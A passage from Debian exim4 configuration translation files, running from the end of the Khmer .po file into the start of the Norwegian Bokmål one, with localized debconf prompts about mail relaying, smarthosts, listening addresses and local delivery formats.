សម្រាប់​ប្រព័ន្ធ​នេះ​ដែល​នឹង​បញ្ជូន​សំបុត្រ​បន្ត ឧទាហរណ៍​ជា​ច្រក​" "ចេញ​ចូល MX ឬ​សំបុត្រ ។ នេះ​មាន​ន័យ​ថា​ប្រព័ន្ធ​នេះ​នឹង​ទទួល​សំបុត្រ​សម្រាប់​ដែន​ទាំង​នេះ​ពី​កន្លែង​ណា​មួយ​នៅ​លើ " "អ៊ីនធឹណិត និង​បញ្ចូន​ពួក​វា​ដោយ​យោង​តាម​ច្បាប់​បញ្ចូន​មូលដ្ឋាន ។" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "កុំ​ពិពណ៌នា​ដែន​មូលដ្ឋាន​នៅ​ទីនេះ ។ តួអក្សរ​ជំនួស​អាច​ត្រូវ​បាន​ប្រើ ។" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "ម៉ាស៊ីន​ត្រូវ​បញ្ជូន​​សំបុត្រ​ត​សម្រាប់ ៖" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "សូម​បញ្ចូល​បញ្ជី​ជួ​​រអាសយដ្ឋាន IP ដែល​បំបែក​ដោយ​សញ្ញា(;) ដែល​ប្រព័ន្ធ​នេះ​នឹង​បញ្ជូន​សំបុត្រត​ដោយ​បង្ខំ ដោយ​មាន​" "មុខងារ​ជា smarthost ។" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "អ្នក​គួរ​តែ​ប្រើ​អាសយដ្ឋាន​ស្តង់ដា/ទ្រង់ទ្រាយ​បុព្វបទ (ឧ. 194.222.242.0/24 ឬ " "5f03:1200:836f::/48) ។" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "ប្រសិន​បើ​ប្រព័ន្ធ​មិនគួរ​ជា smarthost សម្រាប់​ម៉ាស៊ីន​ផ្សេងៗ​ទៀត ទុក​បញ្ជី​នេះ​ឲ្យ​ទទេ ។" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "ឈ្មោះ​ដែន​ដែល​មើល​ឃើញ ​​សម្រាប់​អ្នក​ប្រើ​មូលដ្ឋាន ៖" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "ជម្រើស​ត្រូវ​លាក់​ឈ្មោះ​សំបុត្រ​មូលដ្ឋាន​នៅ​ក្នុង​សំបុត្រ​ចេញ​ត្រូវ​បាន​បើក ។ ដូច្នេះ​វា​ចាំបាច់​ត្រូវ​បញ្ជាក់​ឈ្មោះ​ដែន​" "ប្រព័ន្ធ​នេះ គួរ​ប្រើ​សម្រាប់​ផ្នែក​ដែន​នៃ​អាសយដ្ឋាន​អ្នក ផ្ញើ​របស់​អ្នក​ប្រើ​មូលដ្ឋាន ។" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "អាសយដ្ឋាន IP ឬ​ឈ្មោះ​ម៉ាស៊ីន​របស់ smarthost ចេញ ៖" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "សូម​បញ្ចូល​អាសយដ្ឋាន IP ឬ​ឈ្មោះ​ម៉ាស៊ីន​របស់​ម៉ាស៊ីន​បម្រើ​សំបុត្រ​ដែល​ប្រព័ន្ធនេះ​គួរ​ប្រើ​ជា smarthost ចេញ ។ " "ប្រសិន​បើ smarthost ទទួល​តែ​សំបុត្រ​របស់​អ្នក​ប៉ុណ្ណោះ​នៅ​ច្រក​មួយ​ផ្សេង​ពី TCP/25 បន្ថែម​ខាង​ចុង​ទៅ​សញ្ញា " "(:) និង​លេខ​ច្រក (ឧទាហរណ៍ smarthost.example::587 ឬ 192.168.254.254::2525) ។ សញ្ញា " "(:) នៅ​ក្នុង​អាសយដ្ឋាន IPv6 ត្រូវតែ​ដាក់​ទ្វេរ ។" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "ប្រសិនបើ​ smarthost ត្រូវការ​ការ​ផ្ទៀងផ្ទាត់​ភាព​ត្រឹមត្រូវ សូម​យោង​តាម​ឯកសារ​ README ជាក់លាក់​របស់​" "ដេបៀន​នៅ​ក្នុង /usr/share/doc/exim4-base សម្រាប់​ចំណាំ​អំពីការ​រៀបចំ​ការ​ផ្ទៀងផ្ទាត់​ភាព​ត្រឹមត្រូវ​" "របស់ SMTP ។" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Root​ និង​អ្នក​គ្រប់គ្រង​ប្រៃសណីយ៍​ជា​​អ្នក​ទទួល​សំបុត្រ ៖" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "សំបុត្រ​សម្រាប់ \"postmaster\" \"root\" និង​គណនី​ប្រព័ន្ធ​ផ្សេងៗ​ទៀត​តម្រូវ​ឲ្យ​ប្ដូរ​ទិស​ទៅ​គណនី​អ្នក​​ប្រើ​របស់​" "អ្នក​គ្រប់គ្រង​ប្រព័ន្ធ​ជាក់ស្ដែង ។" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "ប្រសិន​បើ​តម្លៃ​នេះ​នៅ​តែ​ទទេ សំបុត្រ​បែប​នេះ​នឹង​ត្រូវ​បាន​រក្សា​ទុក​ក្នុង /var/mail/mail ដែល​មិន​ត្រូវ​បាន​" "ផ្ដល់​អនុសាសន៍ ។" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "ចំណាំថា ​សំបុត្រ​របស់ postmaster គួរ​ត្រូវ​បាន​អាន​នៅ​ក្នុង​ប្រព័ន្ធ ដែល​វា​ត្រូវ​បាន​ត្រួតត្រា ប្រសើ​ជាង​ការ​" "បញ្ជូន​បន្ត​ទៅ​កន្លែង​ផ្សេង ដូច្នេះ (យ៉ាងហោច​ណាស់​) អ្នក​ប្រើ​បាន​រាយ​នៅ​ទីនេះ មិន​គួរ​បញ្ជូន​សំបុត្រ​របស់​ពួក​វា​" "ចេញ​ទៅ​ម៉ាស៊ីន​នេះ​ទេ ។ បុព្វបទ \"real-\" អាច​ត្រូវ​បាន​ប្រើ​ដើម្បី​បង្ខំ​ការ​បញ្ជូន​មូលដ្ឋាន ។" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "ឈ្មោះ​អ្នក​ប្រើ​ច្រើន​ត្រូវ​តែ​បំបែក​ដោយ​ចន្លោះ ។" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "អាសយដ្ឋាន IP​ ត្រូវ​ស្តាប់​​សម្រាប់​ការ​តភ្ជាប់​​ SMTP ​ចូល ៖" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "សូម​បញ្ចូល​បញ្ជី​របស់​អាសយដ្ឋាន IP ។ ដេមិន​អ្នក​ស្ដាប់​របស់ Exim SMTP នឹង​ស្ដាប់​នៅ​ពេល​អាសយដ្ឋាន IP ទាំង​" "អស់​ត្រូវ​បាន​រាយ​នៅ​ទីនេះ ។" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "តម្លៃ​ទទេ​មួយ​នឹង​បណ្ដាល​ឲ្យ Exim ត្រូវ​ស្ដាប់​ដើម្បី​តភ្ជាប់​នៅ​ពេល​ចំណុច​ប្រទាក់​បណ្ដាញ​ទាំងអស់​អាច​ប្រើ​បាន ។" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "ប្រសិន​បើ​ប្រព័ន្ធ​ពិត​ជា​ទទួល​តែ​អ៊ីមែល​ដោយ​ផ្ទាល់​ពី​សេវា​មូលដ្ឋាន ដូចជា​ទាញយក​សំបុត្រ ឬ​កម្មវិធី​អ៊ីមែល​របស់​អ្នក " "(MUA) ដោយ​និយាយ​ទៅ​កាន់​ម៉ាស៊ីនមូលដ្ឋាន (ហើយ​មិន​បាន​មក​ពី​ម៉ាស៊ីន​ផ្សេងទេ) វា​អាចផ្ដល់​គំនិត​ដើម្បី​ការពារ​ការ​" "តភ្ជាប់​ខាង​ក្រៅ​ទៅ Exim មូល​ដ្ឋាន ។ នេះ​អាច​ត្រូវ​បាន​អម​ដោយ​បញ្ចូល 127.0.0.1 នៅ​ទីនេះ ។ វា​នឹង​បិទ​" "ការ​ស្ដាប់​ចំណុច​ប្រទាក់​បណ្ដាញ​សាធារណៈ ។" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "រក្សាទុក​​ចំនួន​​​សំណួរ​ DNS អប្បបរមា (Dial-on-Demand) ឬ​ ?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "នៅ​ក្នុង​របៀប​ធម្មតា​នៃ​ប្រតិបត្តិ Exim តើ DNS ស្វែងរក​នៅ​ពេល​ចាប់ផ្ដើម ហើយ​នៅ​ពេល​ទទួល ឬបញ្ជូន​សារ ។ " "នេះ​សម្រាប់​ចូល និង​អនុញ្ញាត​រក្សា​លេខ​នៃ​តម្លៃ​ជាក់លាក់​នៅ​ក្នុង​ការ​កំណត់​រចនា​សម្ព័ន្ធ ។" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "ប្រសិន​បើ​ប្រព័ន្ធ​នេះ​មិនមាន DNS កម្មវិធី​ដោះ​ស្រាយ​សេវា​ពេញលេញ​អាច​ប្រើ​បាន​គ្រប់​ពេល (ឧទាហរណ៍ ប្រសិន​" "បើការ​ចូល​ដំណើរ​ការ​អ៊ីនធឺណិត​គឺ​តាម​ខ្សែ​ទូរស័ព្ទ​ដោយ​ប្រើ​ពាក្យ​បញ្ជា dial-on-) នេះ​អាច​មិន​ចង់​បាន​តាម​" "លំដាប់ ។ ឧទាហរណ៍ នៅ​ពេល​ចាប់ផ្ដើម Exim ឬ រត់ជួរ (សូម្បី​តែ​គ្មាន​សារ​រង់​ចាំ​ក៏ដោយ) អាច​កេះ​ព្រឹត្តិការណ៍​" "តតាម​ខ្សែ​ទូរស័ព្ទ​ដ៏​មាន​តម្លៃ ។" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "ជម្រើស​នេះ​គួរ​ត្រូវ​បាន​ជ្រើស ប្រសិន​បើ​ប្រព័ន្ធ​នេះ​កំពុង​ប្រើ Dial-on-Demand ។ " "ប្រសិនបើវាតែងតែមានការចូលដំណើរការ​អ៊ីនធឺណិត ជម្រើស​នេះ​គួរ​ត្រូវ​បាន​បិទ ។" #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "ការ​កំណត់​រចនាសម្ព័ន្ធ​ម៉ាស៊ីន​បម្រើ​សំបុត្រ" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "ពុះ​ការ​កំណត់​រចនាសម្ព័ន្ធ​ទៅជា​ឯកសារ​តូចៗ​ឬ ?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "កញ្ចប់ exim4 ដេបៀន​អាច​ប្រើ 'ការ​កំណត់​រចនាសម្ព័ន្ធ​មិនបំបែក' ឯកសារ monolithic (/etc/exim4/" "exim4.conf.template) ឬ 'ការ​កំណត់​រចនាសម្ព័ន្ធ​បំបែក' ដែល​ឯកសារ​កំណត់​រចនាសម្ព័ន្ធ Exim ត្រូវ​បាន​" "ស្ថាបនា​ចេញ​ពី​ប្រហែលជា ៥០ ឯកសារ​តូចៗ​ទៀតនៅ​ក្នុង /etc/exim4/conf.d/ ។" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "ការ​កំណត់​រចនា​សម្ព័ន្ធ​មិន​ពុះ​គឺ​ប្រសើរ​ជាង​ឈុត​សម្រាប់​ការ​កែប្រែ​ដ៏ធំ ហើយ​ថិតថេរ​ជាង ព្រោះ​ថា ការ​កំណត់​រចនា​" "សម្ព័ន្ធ​ពុះ​ផ្ដល់​នូវ​វិធី​ងាយ​ស្រួល​ដើម្បី​ធ្វើ​ការ​កែប្រែ​តិចតួច ប៉ុន្តែ​ងាយ​ខូច ជាង និង​អាច​ខូច​ប្រសិន​បើ​បាន​កែប្រែ​" "ដោយ​គ្មាន​ការ​ប្រុង​ប្រយ័ត្ន ។" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "ការ​ពិភាក្សា​លម្អិត​បន្ថែម​នៃ​ការ​កំណត់​រចនាសម្ព័ន្ធ​ពុះ និង​មិន​ពុះ អាច​រក​បាន​នៅ​ក្នុង /usr/share/doc/" "exim4-base/README.Debian.gz." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "លាក់​ឈ្មោះ​សំបុត្រ​មូលដ្ឋាន​នៅ​ក្នុង​សំបុត្រ​ចេញឬ ?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "ក្បាល​របស់​សំបុត្រ​ចេញ​អាច​ត្រូវ​បាន​សរសេរ​ដើម្បី​ធ្វើ​ឲ្យ​វា​បង្ហាញ ដើម្បី​ត្រូវ​បាន​បង្កើត​នៅ​លើ​ប្រព័ន្ធ​ផ្សេង ។ " "ប្រសិន​បើ​ជម្រើស​នេះ​ត្រូវ​បាន​ជ្រើស \"${mailname}\", \"localhost\" និង " "\"${dc_other_hostnames}\" នៅក្នុង មកពី, ឆ្លើយតបទៅ, អ្នកផ្ញើ និង​ផ្លូវ​ត្រឡប់​ត្រូវ​បាន​សរសេរ ។" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "ទ្រង់ទ្រាយ mbox នៅ​ក្នុង /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "ទ្រង់​ទ្រាយ Maildir នៅ​ក្នុង​ថត​ផ្ទះ" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "វិធី​សាស្ត្រ​បញ្ជូន​សម្រាប់​សំបុត្រ​មូលដ្ឋាន ៖" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim អាច​ទុក​សំបុត្រ​ដែល​បាន​បញ្ជូន​មូលដ្ឋាន​ក្នុង​ទ្រង់ទ្រាយ​ផ្សេងៗ ។ ភាគ​ច្រើន​បំផុត​ដែល​បាន​ប្រើ​គឺ mbox និង " "Maildir ។ mbox ប្រើ​ឯកសារ​តែ​មួយ​សម្រាប់​ថត​សំបុត្រ​ពេញលេញ​នៅ​ក្នុង /var/mail/ ។ ជា​មួយ​នឹង​ទ្រង់ទ្រាយ " "Maildir សារ​តែ​មួយ​ទាំង​អស់​ត្រូវ​បាន​ទុក​ក្នុង​ឯកសារ​ដោយ​ឡែក​ពី​គ្នា​នៅ​ក្នុង ~/Maildir/ ។" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "សូម​ចំណាំ​ថា​ឧបករណ៍សំបុត្រ​ភាគ​ច្រើន​នៅ​ក្នុង​ដេបៀន​រំពឹង​វិធី​សាស្ត្រ​បញ្ជូន​មូលដ្ឋាន​ត្រូវ​តែ ជា mbox នៅ​ក្នុង​" "លំនាំដើម​របស់​ពួក​វា ។" #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "ផ្លាស់ទី​សបុត្រ​ដែល​មិន​បាន​បញ្ជូន​ពី exim 3 ទៅហុង exim4 ?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "មាន​សំបុត្រ​ដែល​មិន​បានបញ្ជូន​មួយ​ចំនួន​នៅ exim 3 (ឬ exim-tls 3) ថត​ហុង /var/spool/exim/" #~ "input/ ។" #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "ការ​ជ្រើស​ជម្រើស​នេះ​នឹង​ផ្លាស់ទី​សារ​ទាំង​នេះ​ទៅ​ហុង​របស់ exim4 (/var/spool/exim4/input/) ដែល​" #~ "ពួក​វា​នឹង​ត្រូវ​បាន​គ្រប់គ្រង​ដោយ exim4 ។" #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "វា​ដំណើរការ​តែ​មួយ​វិធី​ប៉ុណ្ណោះ ៖ Exim4 អាច​គ្រប់គ្រងហុង exim 3 ប៉ុន្តែ​ exim 3 មិន​អាច​គ្រប់គ្រង " #~ "Exim4 បាន​ទេ ។ ប្រសិន​បើ​អ្នក​ច្រាន​ចោល​ជម្រើស​នេះ អ្នក​ត្រូវតែ​ផ្លាស់ទី​សារ​របស់​អ្នក​ផ្ទាល់​ ឬ​ពួក​វា​នឹង​" #~ "មិន​ត្រូវ​បាន​បញ្ជូន​ទេ ។" debian/po/nb.po0000644000000000000000000006143712027557533010567 0ustar # translation of exim4-base_nb.po to Norwegian Bokmål < # translation of exim4-base_nb.po to Norwegian Bokmål # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans# # Developers do not need to manually edit POT or PO files. # Steinar H. Gunderson , 2004. # Klaus Ade Johnstad , 2004. # Klaus Ade Johnstad , 2004, 2006. # Bjørn Steensrud , 2006. # Hans Fredrik Nordhaug , 2007. # msgid "" msgstr "" "Project-Id-Version: exim4-base_nb\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-11-22 14:00+0100\n" "Last-Translator: Hans Fredrik Nordhaug \n" "Language-Team: Norwegian Bokmål < \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.9.1\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Fjern ikke-levert e-post i køkatalogen?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Det finnes e-post i Exims køkatalog /var/spool/exim4/input/ som ennå ikke er " "blitt levert. Sletter du Exim, blir de liggende i køen til Exim er " "installert på nytt." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Hvis dette valget ikke er krysset av, blir køkatalogen beholdt, slik at " "meldingene i køen kan sendes senere etter at Exim er installert på nytt." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Sett opp exim4-config i stedet for denne pakka" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Oppsett for Exim4 er skilt ut i en egen pakke, exim4-config. Hvis Exim4 skal " "settes opp på nytt, bruk «dpkg-reconfigure exim4-config»." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "internett-sted; e-post sendes og mottas direkte med SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "e-post sendt av smartvert; hentes via SMTP eller fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "e-post sendt av smartvert; ingen lokal e-post" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "kun lokal levering; ikke på noe nettverk" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "ingen konfigurering nå" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Overordnet e-post-konfigurasjonstype:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "Velg oppsettstypen som best passer dine mailserver behov." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Systemer med dynamiske IP-adresser, inkludert oppringt-systemer, bør som " "regel settes opp til å sende utgående e-post til en annen maskin, en såkalt " "«smartvert», for levering, fordi mange mottakende e-postsystemer blokkerer " "ankommende post fra dynamiske IP-adresser som beskyttelse mot søppelpost." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Et system med dynamisk IP-adresse kan motta sin egen e-post, ellerha ingen " "lokal e-postlevering overhodet, bortsett fra e-post til root og postmaster." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Er du sikker på at du vil la epost-systemet være uten oppsett?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Inntil epost-systemet er satt opp, vil det være ødelagt og kan ikke brukes. " "Du kan selvsagt sette det opp seinere, enten for hånd eller ved å kjøre " "«dpkg-reconfigure exim4-config» som root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Systemets epost-navn:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "«E-postnavnet» er domenenavnet som brukes til å fylle ut e-postadresser uten " "domenenavn." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Dette navnet blir også brukt av andre programmer. Det bør være det eneste, " "fulle domenenavnet (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Hvis en e-postadresse på den lokale verten for eksempel er «foo@example." "org», så er den riktige verdien som skal brukes her «example.org»." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Dette navnet blir ikke vist på Fra:-linjene på utgående e-post hvis du slår " "på omskriving." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Andre mottakere e-post mottas for:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Skriv inn en liste med domener, skilt med semikolon, som denne maskinen skal " "betrakte seg som siste mål for. Disse domenene kalles vanligvis «lokale " "domener». Det lokale vertsnavnet (${fqdn}) og «localhost» blir alltid lagt " "til listen." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Standardvalget er at alle domener blir behandlet likt. Hvis både a.eksempel " "og b.eksempel er lokale domener, så blir acc@a.eksempel.com og acc@b." "eksempel.com levert til samme endelige mottaker. Hvis du vil at forskjellige " "domener skal behandles forskjellig, må du redigere oppsettsfilene etterpå." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domener det skal videresendes e-post for:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Oppgi en liste over mottakerdomener - med semikolon mellom - som dette " "systemet vil videresende e-post til, for eksempel som reserve-MX eller e-" "post-portner. Dette betyr at dette systemet vil ta imot e-post til disse " "domenene fra hvor som helst på Internett og levere dem ifølge lokale " "leveringsregler." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Ikke oppgi lokale domener her. Jokertegn kan brukes." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Maskiner det skal videresendes e-post for:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Oppgi en liste over IP-adresseområder, skilt med semikolon, som dette " "systemet betingelsesløst vil videresende e-post for, fungerende som " "smartvert." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Du bør bruke det vanlige adresse/lengde-formatet (f.eks. 194.222.242.0/24 " "eller 5f03:1200:836f::/48)." #. Type: string #. Description #: 